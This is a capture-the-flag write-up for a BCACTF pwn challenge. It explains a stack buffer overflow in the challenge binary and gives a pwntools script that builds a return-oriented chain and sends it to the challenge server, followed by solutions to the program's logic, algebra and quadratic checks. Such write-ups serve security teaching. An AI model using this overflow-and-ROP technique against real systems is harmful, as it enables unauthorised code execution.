Discrete Mathematics

The same challenge, but this time we need ot build a ROP chain.
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void quiz() {
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    FILE *fp = fopen("flag.txt", "r");
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    char flag[100];
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​
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    if (fp == NULL) {
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        puts("Sorry, all my stuff's a mess.");
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        puts("I'll get around to grading your quiz sometime.");
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        puts("[If you are seeing this on the remote server, please contact admin].");
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        exit(1);
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    }
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​
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    fgets(flag, sizeof(flag), fp);
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​
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    if (knows_logic && knows_algebra && knows_functions) {
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        puts("Alright, you passed this quiz.");
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        puts("Here's your prize:");
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        puts(flag);
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    } else {
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        puts("Not there yet...");
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        puts("Study some more!");
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    }
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}
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We can't just jump to quiz() directly, since we need to make knows_logic, knows_algebra, and knows_functions True. Each of these variables are only set within their corresponding functions: logic(), algebra() and functions().
If we build a ROP chain as follows, we can control the return addresses of subsequent returns.
Again, we will have to bypass the strcmp() check:
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if (strcmp(response, "i will get an A")) {
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    puts("I'm sorry, but you obviously don't care about grades.");
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    puts("Therefore, you aren't motivated enough to be in our class.");
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    puts("Goodbye.");
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    exit(1);
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}
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Prepare our cyclic pattern payload:
python -c "print 'i will get an A' + '\x00' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'" > ipt.txt
We find that the offset is 56.
We find the function addresses:
logic: 0x00401236
algebra: 0x00401336
functions: 0x0040144d
quiz: 0x00401544
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from pwn import *
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​
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logic = 0x00401236
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algebra = 0x00401336
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functions = 0x0040144d
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quiz = 0x00401544
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​
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logic = p64(logic)
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algebra = p64(algebra)
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functions = p64(functions)
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quiz = p64(quiz)
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​
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offset = 56
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payload = b"i will get an A"
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payload += b"\x00"
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​
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# Build the ROP chain
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payload += b"A" * offset
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payload += quiz
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payload += logic
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payload += quiz
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payload += algebra
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payload += quiz
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payload += functions
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payload += quiz
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print(payload)
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​
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with open('payload', 'wb') as f:
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    f.write(payload)
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​
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conn = remote('bin.bcactf.com', 49160)
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​
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print(conn.recv())
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print(conn.recv())
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​
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print("\nSending payload...")
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conn.send(payload + b"\n")
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​
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print(conn.recv())
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​
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conn.interactive()
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conn.close()
Copied!
Now, we get an interactive connection where we will first jump to logic(), then algebra(), then functions().
We just have to figure out the appropriate values to pass the checks.
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void logic() {
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    int p, q, r, s;
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​
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    printf("p: ");
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    scanf("%d", &p);
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    printf("q: ");
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    scanf("%d", &q);
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    printf("r: ");
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    scanf("%d", &r);
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    printf("s: ");
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    scanf("%d", &s);
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​
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    knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s;
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}
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So, from (q != s) && s, we know s must be 1, q must be 0.
Then, from (p || q || !r) && (!p || r || !s), we have (p || 0 || !r) && (!p || r || 0), which is (p || !r) && (!p || r). Either p = r = 0 or p = r = 1 works.
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void algebra() {
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    int x, y, z;
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​
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    printf("x: ");
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    scanf("%d", &x);
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    printf("y: ");
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    scanf("%d", &y);
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    printf("z: ");
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    scanf("%d", &z);
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​
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    int eq1 = 5*x - 6*y + 3*z;
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    int eq2 = 2*x + 5*y - 7*z;
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    int eq3 = 4*x + 8*y + 8*z;
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​
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    knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28);
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}
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We can solve the simultaneous equations to get:
x = 3
y = -17
z = 12
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void functions() {
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    int a, b, c;
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​
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    printf("a: ");
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    scanf("%d", &a);
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    printf("b: ");
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    scanf("%d", &b);
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    printf("c: ");
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    scanf("%d", &c);
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​
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    int vertex_x = -b / (2*a);
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    int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
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    int discriminant = b * b - 4 * a * c;
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​
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    knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
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}
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The values seemed pretty small, so a bruteforce script easily gets the values.
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for a in range(-10, 10):
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    if a == 0:
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        continue
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    for b in range(-10, 10):
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        for c in range(-10, 10):
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            vertex_x = -b / (2*a)
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            vertex_y = a * vertex_x * vertex_x + b * vertex_x + c
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            discriminant = b * b - 4 * a * c
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​
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            if (vertex_x == 2) and (vertex_y == -2) and (discriminant == 16):
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                print(a, b, c)
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                break
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We have:
a = 2
b = -8
c = 6
Plugging these values in, we get the flag.
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Advanced Math Analysis
Last modified 1mo ago
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